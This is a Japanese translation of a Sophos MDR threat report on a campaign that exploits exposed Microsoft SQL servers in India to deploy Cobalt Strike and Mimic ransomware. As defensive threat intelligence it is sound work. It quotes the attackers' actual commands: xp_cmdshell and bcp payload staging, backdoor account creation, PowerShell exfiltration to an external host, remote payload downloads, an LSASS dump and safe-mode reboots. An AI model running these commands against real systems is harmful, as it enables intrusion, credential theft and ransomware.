セキュリティ運用

Sophos MDR、インドの組織に対する Mimic ランサムウェア攻撃を追跡

インターネットに公開されている Microsoft SQL サーバーを狙い、初期アクセスを試みる脅威活動クラスター STAC6451

** 本記事は、Sophos MDR hunt tracks Mimic ransomware campaign against organizations in India の翻訳です。最新の情報は英語記事をご覧ください。**

Sophos MDR の脅威ハンター/脅威インテリジェンスアナリストは、アクティブインシデントへの対応を通じて新たな脅威活動クラスターを特定しました。この脅威活動クラスターはインド国内の多数の組織を標的とし、デフォルトの TCP/IP ポート (1433) を通じてインターネットに直接公開されている Microsoft SQL Server データベースサーバーを悪用して、ランサムウェアの展開を試みていました。

MDR はこの脅威活動クラスターを STAC 6451 として追跡しています。STAC6451 を特徴付ける戦術、手法、手順 (TTP) は以下のようなものです。

  • Microsoft SQL Server を悪用して不正アクセスを行い、xp_cmdshell を有効にしてリモートでコードを実行する
  • BCP (Bulk Copy Program) ユーティリティを使用し、特権昇格ツール、Cobalt Strike ビーコン、Mimic ランサムウェアのバイナリなど悪意のあるペイロードおよびツールを、侵害された MSSQL データベースに仕込む
  • Python の Impacket ライブラリを使ってさまざまなバックドアアカウント (「ieadm」、「helpdesk」、「admins124」、「rufus」など) を作成し、ラテラルムーブメントと常駐化を試みる

Sophos MDR は、STAC6451 が特にインドのさまざまな業界の組織を標的とするのを確認しています。この脅威活動クラスターに関連してソフォスが追跡した各インシデントでは、ランサムウェアの展開やその他の侵害後の活動はブロックされました。しかし、このクラスターは依然としてアクティブな脅威です。

背景

Sophos MDR がこのクラスターに関連する活動を最初に観測したのは 2024 年 3 月下旬です。ある組織の SQL Server が侵害され、その後の攻撃者によるラテラルムーブメントの試みへの対応を MDR 脅威ハンティングチームがサポートしたのがきっかけでした。攻撃はラテラルムーブメントの一貫として、Web シェルの展開と活用も試みました。

このインシデントをさらに分析した結果、ソフォスは TTP が大きく重複する侵害をさらに特定し、後に STAC6451 と名付けられるセキュリティ脅威活動クラスターを形成していることを突き止めました。STAC6451 の主な特徴は、RMM ソフトウェアや Mimic ランサムウェアに関連する悪意のあるファイルなど、標的環境にツールをダウンロードするためのバルクコピープログラム (bcp) の使用と連動した SQL データベースの悪用です。

A graphic breakdown of how the STAC6451 attacks unfold. Attackers use MS SQL Server's xp_cmdshell to unpack their tools, and in many cases use AnyDesk for initial command and control.
図 1: 攻撃者は xp_cmdshell を使用してツールを解凍し、多くの場合は初期のコマンドアンドコントロールに AnyDesk を使用します。

初期アクセス

STAC6451 は主に MSSQL データベースサーバーを標的とします。目的は被害者のネットワークに不正にアクセスすることです。攻撃者がこれまでに侵入に成功した標的は、インターネットに公開されたサーバーであり、その多くは、使用しているアカウント認証情報が単純であるため、ブルートフォース (総当たり) 攻撃に対して脆弱です。アクセス権を得た攻撃者は、MSSQL のストアドプロシージャ (xp_cmdshell) を有効にし、SQL サービスを通じてコマンドラインを実行できるようにすることが確認されています。このプロセスは、「MSSSQLSERVER」のユーザーセッションで実行されました。ソフォスが観測した攻撃では、システム管理者の認証情報が侵害されるのは確認されませんでした。

攻撃者が標的組織に侵入するためには、SQL サーバーのデフォルトの TCP/IP ポート (1433) がインターネットに公開されている必要があります。 このポートが公開されていると、攻撃者はサーバーに接続してブルートフォース攻撃を実行でき、コードを実行して悪意のあるペイロードを SQL データベースに埋め込めます。さらに、command.exe のような LOLBin を生成する SQL インスタンスからコマンドを実行するのにアクセス権を利用するには、公開された SQL サーバー上で xp_cmdshell が有効になっている必要があります。xp_cmdshell プロシージャはデフォルトで無効になっています。上記の理由により公開されたサーバーでは有効にすべきではありません。(本記事の最後に掲載している推奨事項では、xp_cmdshell がサーバー上で有効になっているかどうかを確認する方法と、該当する場合は無効にする方法について説明しています。)

探索/ステージング

攻撃者は、xp_cmdshell 機能を通じてコードの実行を可能にした後、sqlserver.exe プロセスからサーバー上でさまざまな探索コマンドを実行し、バージョン、ホスト名、使用可能なメモリ、ドメイン、ユーザー名コンテキストなど、実行中のシステムに関する詳細を列挙しました。Sophos MDR は、これらの探索コマンドが複数の被害者の環境で同一の順番で 2 分以内に実行されているのをしばしば確認しており、自動化されている可能性が高いと考えられます。

ver & hostname
wmic computersystem get totalphysicalmemory
wmic os get Caption
wmic os get version
wmic computersystem get domain
whoami
Aggregated SQL SPID (Sophos Process ID) Tree Data displaying automated execution of reconnaissance commands simultaneously against various target networks
図 2: さまざまな標的ネットワークに対して同時に探索コマンドを自動で実行したことを示す SQL SPID (Sophos Process ID) の一覧データ

攻撃者はさらに、帯域外アプリケーションセキュリティテスト (OAST) サービスを活用して標的の Web アプリケーションに悪用可能な脆弱性を見つけ、悪意のあるペイロードが実行できることを確認していました。

powershell  invoke-webrequest -uri http[:]//mwm1cpvp031oph29mjuil9fz3q9hx7lw.oastify[.]com

powershell  invoke-webrequest -uri http[:]//mwm1cpvp031oph29mjuil9fz3q9hx7lw.oastify[.]com -Method POST -InFile c:\users\public\music\1.txt

探索コマンドに加えて、攻撃者は追加のペイロードとツールのステージングも開始しました。いくつかの事例では、攻撃者は SQLインスタンスとファイルの間でデータをコピーするために使用されるコマンドラインツールである bcp (バルクコピープログラム) ユーティリティを使用しました。攻撃者はペイロードを MSSQL データベースに埋め込み、さまざまな BCP コマンドを実行して、データベースに保存されたマルウェアとツールからローカルファイルを作成しました。

SQL サーバーへのアクセスを獲得した攻撃者は、bcp を使用してサーバー上に作成した SQL テーブルにアクセスし、「queryout」オプションを活用してファイルをユーザーが書き込み可能なディレクトリ (ソフォスが観測したすべての事例では「C:\users\public\music」) にエクスポートしました。攻撃者は、(Windows Authentication を使用して) 信頼された接続を指定する「-T」フラグと、ディスクにも書き込まれたフォーマットファイルを指定する「-f」フラグを追加しました。このステップでは、SQL Server で新しく作成されたデータとやり取りできるように BCP を構成します。

攻撃者はこの方法を使用して AnyDesk、バッチスクリプト、PowerShell スクリプトなど、さまざまなツールや実行可能ファイルをステージングするのが観察されました。ソフォスは、この攻撃者が Troj/WebShel-IA として検出される god.aspx などさまざまな Web シェルを展開するのを確認しています。さらに、その他の悪意のあるペイロード、権限昇格ツール、Cobalt Strike Beacon、Mimic ランサムウェアバイナリをステージングしました。

たとえば、次のようなアイテムが確認されました。

ツール (ファイル名) コマンドライン
ペイロードのドロッパー (build.txt) “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\public\music\build.txt” -T -f “C:\users\public\music\FODsOZKgAU.txt”
PrintSpoofer (P0Z.exe) “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\windows\temp\POZ.exe” -T -f “C:\windows\temp\FODsOZKgAU.txt”
ランサムウェアのランチャー (pp2.exe) “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\public\music\pp2.exe” -T -f “C:\users\public\music\FODsOZKgAU.txt”
AnyDesk (AD.exe) “C:\Windows\system32\cmd.exe” /c bcp “select binaryTable from uGnzBdZbsi” queryout “C:\users\%ASD%\music\AD.exe” -T -f “C:\users\%ASD%\music\FODsOZKgAU.txt”

ラテラルムーブメント/常駐化

攻撃者は被害者の環境全体でラテラルムーブメントと常駐化のためにさまざまなユーザーアカウントを作成しました。また、攻撃者は新しいユーザー (「ieadm」) を作成し、ローカル管理者グループとリモートデスクトップグループに追加するために、複数の標的ネットワークでまったく同じ時間に同じスクリプト (「C:\users\public\music\d.bat」)を実行しているのが確認されました。このスクリプトは、AnyDesk (AD.exe) を気付かれないようにインストールするコマンドも実行し、レジストリで Wdigest を有効にして、認証情報を平文で保存させます。

Aggregated SQL SPID (Sophos Process ID) Tree Data displaying automated execution of d.bat simultaneously against various target networks
図 3: さまざまな標的ネットワークに対して d.bat を同時に自動で実行したことを示す SQL SPID (Sophos Process ID) の一覧データ

注目すべきは、この脅威活動クラスターによる攻撃が観測された標的組織はインドに位置していた一方で、自動化されたスクリプトは、新しく作成されたユーザーが標的の管理者グループに正常に追加されるように複数の言語を参照していたことです。この事実から、攻撃者は汎用のツールを使用していただけで、標的組織の地理的位置には注意を払っていなかった可能性が示唆されます。

net  localgroup Administradores ieadm /add (ポルトガル語)

net  localgroup Administratoren ieadm /add (ドイツ語)

net  localgroup Administrateurs ieadm /add (フランス語)

別の事例では、攻撃者は SQL プロセスを介してバッチファイル (「C:\users\public\music\user1.bat」) を実行し、新しいローカルアカウント (「admins124」) を作成して、ローカル管理者グループとリモートデスクトップグループに追加しました。

C:\Windows\system32\net1 user admins124 @@@Music123.. /add

Net localgroup administrators admins124 /add

Net localgroup "Remote Desktop Users" admins124 /add

さらに別の事例では、同様に「helpdesk」という新しいローカルアカウントを作成し、IIS の Web ワーカーサービス w3wp.exe を通じてローカル管理者グループに追加し、プロセスを起動しました。Sophos MDR は、この活動を SweetPotato 攻撃ツール (ATK/SharpPot-A) の一部として検出します。

"cmd" /c "cd /d "C:/Windows/SysWOW64/inetsrv/"&net user helpdesk TheP@ssW0rd /add" 2>&1

注目すべきは、上記のユーザー名とパスワードを含む同一のコマンドラインが、Elastic 社が 1 月に発表した別の金融サービス企業への侵入に関するレポートに記載されていたことです。 これらの事例の標的は類似していますが、同一の攻撃者による攻撃なのか、あるいは当該アカウントが攻撃者間で共有されているツールの 1 つだったのかは不明です。

ソフォスは、攻撃者がラテラルムーブメントのために新しくユーザーアカウントを作成し、リモートデスクトップグループへの追加を試みるのを確認しました。

"C:\Windows\system32\cmd.exe" /c W:/POZ.exe -i -c "net user rufus ruFus911 /add &net user rufus ruFus911"

net  user b9de1fc57 032AEFAB1o /add

net  user 56638e37b 7C135912Bo /add

権限昇格

侵害された SQL インスタンスは PrintSpoofer (P0Z.exe) と呼ばれる権限昇格ツールをステージングしました。このマルウェアは、Windows スプーラーサービスの脆弱性を利用して権限を昇格させ、悪意のあるコマンドやペイロードを実行する可能性のあるマルウェアの一種です。ソフォスはこの活動を ATK/PrntSpoof-A として検出します。

観測されたサンプルは、スプーラーサービスとのやり取りに「\.\pipe%ws\pipe\spoolss」などの一般的な pipe パスを使用しています。また、「\%ws/pipe/%ws」などのパスを使用して、プロセスの通信や権限の昇格を行います。さらにこのサンプルは「write file on Windows (Windows へのファイル書き込み)」を利用して指定された pipe ディレクトリにデータを書き込んでおり、スプーラーサービスにコマンドやペイロードを注入していることが示唆されます。

その 1 か月後、ソフォスは攻撃者の Cobalt Strike インプラントが Sophosx64.exe を実行し、レジストリのクエリやローカル管理者グループへのユーザー作成を含む複数のコマンドを起動するのを確認しました。

C:\Windows\system32\cmd.exe /C C:\Users\Public\Sophosx64.exe -cmd "cmd /c reg query HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\TightVNC\Server\ /v Password"

C:\Users\Public\Sophosx64.exe  -cmd "cmd /c net user helpdesk ThisisPassw0rd /add && net localgroup administrators helpdesk /add"

そのため、攻撃者はソフォスのエンドポイント保護が環境内に存在することを認識しており、攻撃活動を難読化しようとしていたと考えられます。

攻撃の実行

攻撃者は実行時に bcp を使用し、ランサムウェアのランチャー (pp2.exe) と初期化スクリプト (03.bat) をディスクに書き込みます。ある事例では pp2.exe が SQL Server から直接書き込まれ、別の事例では実行ファイルがバッチスクリプトに埋め込まれていました。 次に、AnyDesk (ad.exe) を利用して 03.bat を起動し、pp2.exe が実行されました。

C:\users\public\music\pp2.exe 00011111 C:\users\public\music\build.txt c:\programdata\buildtrg.EXE
bcdedit /set {default} safeboot network
shutdown -r -f -t 5
del "%

同時に、さまざまなペイロードのアーカイブである build.txt もロードされます。

Build.txt には、Void Tools 検索ユーティリティ (everything.exe) をドロップする pp2.exe が含まれています。Void Tools 検索ユーティリティにより、攻撃者は標的のシステム上で暗号化する対象のファイルを特定できます。

さらに pp3.exe は、Build.txt から Defender Control (dc.exe) を抽出して Windows Defender を攻撃するとともに、Sysinternals Secure File Delete (xdel.exe) を抽出し、データのバックアップを削除して復旧を阻害します。最後に、Build.txt が標的のファイルを暗号化するプログラムである Mimic ランサムウェアのバイナリ (oto.exe) をドロップします。

ファイル名 説明 検出
Everything.exe Void Tools 検索ユーティリティ AppC/EveryT-Gen
DC.exe Defender Control App/BLWinDC-A
Xdel.exe Sysinternals Secure File Delete AppC/SecDel-A
Oto.exe Mimic ランサムウェアのバイナリ Troj/Ransom-HAZ
Build.txt ペイロードのドロッパー Troj/MDrop-JXY

ある事例で、Sophos MDR はバッチスクリプト (01.bat が実行されるのを確認しました。このバッチスクリプトは、BCDEDIT ユーティリティを使用してブートモードをセーフモード (ネットワーク機能付き) に変更し、実行されて 5 秒後にホストを再起動することで、保護技術を回避しようとするものです。ソフォスは最近、Adaptive Attack Protection の永続的なポリシールール (デフォルトで有効) を新たに追加し、攻撃者がプログラムを用いてデバイスをセーフモードで再起動するのを防止しています。

bcdedit  /set {default} safeboot network

shutdown  -r -f -t 5

コマンドアンドコントロール (C2)

Cobalt Strike

攻撃者は、USERENV.dll というファイル名のユニークな Cobalt Strike ローダーを展開しました。このローダー内のバイナリデータは 16 進数でエンコードされ、コマンドラインを通じて実行されます。特に、「C:/users/public/downloads/」ディレクトリ内の「USERENV.dll.tmp」という名前の一時ファイルにデータを追加することで、システムのコマンドプロンプトの設定を標的とします。ソフォスはこの活動を Memory_1d (mem/cobalt-d mem/cobalt-f) として検出します。

 Attacker command line retrieval of an encoded Cobalt Strike loader, USERENV.dll
図 4: エンコードされた Cobalt Strike ローダーである USERENV.dll のコマンドライン検索

Cobalt Strike ローダーは、SQL Server の xp_cmdshell 機能を通じて実行されたプロセスによってドロップされた、「C:\users\public\config.ini」に位置する構成ファイルを復号することで構成を取得しました。 その後、ローダーは DLL を gpupdate.exe プロセスに注入し、悪意のあるドメイン windowstimes.online との C2 接続を確立しました。

攻撃者はさらに「Plug」という名前の新しいサービスを作成しました。このサービスは Cobalt Strike ビーコンを含むファイルを「C:\ProgramData\Plug\tosbtkbd.exe」というパスで実行します。その後、サービスを削除する前に、ホスト上でサービスが自動で起動するように設定しました。

sc create Plug binpath= "cmd /c cd C:\ProgramData\Plug\ && start "C:\ProgramData\Plug\tosbtkbd.exe""
Net start plug
Sc delete plug

Cobalt Strike の難読化手法はマルウェアの開発とインフラストラクチャのプロビジョニングにおける攻撃者の熟練度を示しているとソフォスは分析しています。USERENV.dll に埋め込まれたオリジナルのファイル名から、攻撃者はグループ内部では Cobalt Strike ローダーを「SleepPatcher.dll」と呼んでいることが判明しました。さらに調査を進めると、「SleepPatcher」は MemoryEvasion (レッドチーム向けの Cobalt Strike メモリ回避ローダーとしてカスタマイズされたオープンソースライブラリ) 内のコンポーネントであることが判明しました。ソフォスの調査結果は、Elastic Security Labs の調査結果とも一致しており、正規の Windows DLL の操作と「MemoryEvasion」ツールの利用など、同様の手法が検出されました。ソフォスは、この Cobalt Strike の難読化手法を Troj/Inject-JLC として識別しています。

Screen shot: Strings Analysis of USERENV.dll
図 5: USERENV.dll の文字列解析

さらに、ソフォスの調査により、攻撃者は侵害された Web サーバーである jobquest[.]ph を使用して Cobalt Strike のペイロードをホストしていたことが判明しました。5 月 21 日現在、この URL は何のコンテンツも返さなくなっています。

"C:\Windows\system32\cmd.exe" /c cscript C:\users\public\downloads\x.vbs hxxps://jobquest[.]ph/tt.png  C:\users\public\downloads\1.png
"C:\Windows\system32\cmd.exe" /c cscript C:\users\public\downloads\x.vbs hxxps://jobquest[.]ph/2.png  C:\users\public\downloads\2.png
"C:\Windows\system32\cmd.exe" /c cscript C:\users\public\downloads\x.vbs hxxps://jobquest[.]ph/3.png  C:\users\public\downloads\3.png

認証情報へのアクセス

Cobalt Strike の C2 通信を確立した後、攻撃者は Microsoft の DumpMinitool というツールを利用して LSASS のメモリ認証情報へのアクセスを試みました。この活動は Sophos Credential Guard (CredGuard) によって検知され、ブロックされました。

C:\dm.exe  --file C:\1.png --processId <pid> --dumpType Full

影響

データ収集

ある侵害の事例では、手動でデータが収集されていました。具体的には、新たに作成された管理者アカウントの 1 つが WinRAR を使用してデータをアーカイブしているのが確認されました。WinRAR が以前から標的のシステムにインストールされていたのか、AnyDesk セッションを通じてインストールされたのかは不明です。

"C:\Program Files\WinRAR\WinRAR.exe" a -ep  -scul -r0 -iext -- web.rar

 

Mimic ランサムウェア

前述の通り、Sophos MDR は、Mimic ランサムウェアのバイナリを展開しようとする攻撃者も観測しています。2022 年に初めて確認された Mimic ランサムウェアは、実行ファイルを介して配布されることが報告されています。この実行ファイルは、保護されたアーカイブから抽出され、最終的なペイロードを含む複数のバイナリをドロップします。Trend Micro が以前指摘したように、ランサムウェアのバイナリは Everything ファイル検索ツール、Defender Control、Secure File Delete など、しばしば上述の一連のツールと一緒にパッケージ化されます。

実行されると、ランサムウェアのペイロードはシャドウコピーを削除し、標的のファイルを「getmydata[@]tutamail[.]com.3000USD」という拡張子で暗号化したうえで、身代金の要求額と連絡方法を即座に標的に通知するのが確認されました。ランサムウェアのペイロードはさらに、暗号化のアクティビティと暗号化されたファイルのハッシュを MIMIC_LOG.txt として「C:\temp」ディレクトリに記録します。最後に、ペイロードはデータのバックアップを削除し、ディスクを破損させることで修復を不能にし、展開された他のツールをクリーンアップします。観測されたすべてのインシデントで攻撃者が Mimic ランサムウェアのバイナリをステージングしているのが確認されましたが、ランサムウェアは多くの場合正常に実行されず、いくつかの事例では、攻撃者が配信後にバイナリを削除しようとするのが確認されました。

被害状況と攻撃の帰属

上述の通り、Sophos MDR は、STAC6451 がインドに位置するさまざまな業界の組織を標的とするのを確認しています。外部 SQL サービスに対する一般的な無差別攻撃の標的とは対照的に、この脅威活動クラスターはインドを拠点とする大規模な組織を意図的に標的にしていることに一定の確信を持っています。

同一のスクリプトが同時に実行され、異なる標的環境間で活動のテンポが一様であったことから、攻撃者は攻撃のさまざまなステップを自動化し、複数の標的を迅速に攻撃・侵害したことがわかります。ソフォスは、攻撃者が SQL データベースにアクセスするために悪用できる IP アドレスを大規模に収集し、新たに作成されたユーザーを上位の特権グループに追加することで常駐化してから偵察を実行し、標的に対する攻撃に移行したと推測しています。

Figure 6: Gantt Chart of observed activity sourced from aggregate SQL SPID (Sophos Process ID) tree data from three target organizations shows activity across multiple customers was simultaneous, hinting at automated attacks.
図 6: 3 組の標的組織から SQL SPID データを収集し、観測されたアクティビティを表したガントチャート

さらに、Mimic ランサムウェアに関連する類似の活動は、以前は金銭的な動機で活動する、トルコ語を使用する初期アクセスブローカーと関連していましたが、Sophos MDR が観察した事例ではランサムウェアの展開が試みられたのは一部の事例のみであり、他の事例は主にデータ収集と (おそらくは) データ窃取を行っていました。ソフォスが情報収集を継続し、攻撃の正体や関係性についてさらなる洞察を提供する証拠が現れ次第、評価を更新する予定です。

結論

STAC6451 は継続的な脅威であり、ソフォスは引き続きこの脅威活動クラスターに関連する活動を監視し、ブロックしています。このクラスターは、リダイレクトや難読化の手法においてはある程度熟練していますが、ランサムウェアのバイナリの実行に失敗していることや、攻撃の報告後に認証情報を切り替えていないことなどから、運用面では成熟していない部分があります。このような状況にもかかわらず、この攻撃者は継続的に活動していることが証明されており、特にインドを拠点とする組織を標的としています。

Sophos MDR は観察結果に基づいて、STAC6451 の攻撃者がランサムウェア攻撃の準備活動を促進するために攻撃チェーンの各ステップを自動化していることに一定以上の確信を持っています。また攻撃者は、手動で攻撃活動を行い、データを収集するために、特に関心を持つ特定の組織を標的の中から人為的に選んでいる可能性があります。

ソフォスの調査研究が、この脅威に関する知見の蓄積に役立つことを願っています。

推奨事項

  • インターネットに SQL サーバーを公開するのを避ける
  • SQL インスタンスで xp-cmdshell を無効にする。この操作はポリシーベース管理から行うか、SQL コマンドのストアドプロシージャである sp_configure を実行してください。
EXECUTE master.dbo.sp_configure 'xp_cmdshell', 0 
RECONFIGURE WITH OVERRIDE
GO

 EXECUTE master.dbo.sp_configure 'show advanced options', 0
 RECONFIGURE WITH OVERRIDE
 GO
  • アプリケーションコントロールを使用して、AnyDesk、Everything 検索ツール、Defender Control、Sysinternal Secure Delete など悪用される可能性のあるアプリケーションをブロックする

ソフォスの GitHub リポジトリに、セキュリティ侵害の指標の一覧が掲載されています。

コメントを残す

Your email address will not be published. Required fields are marked *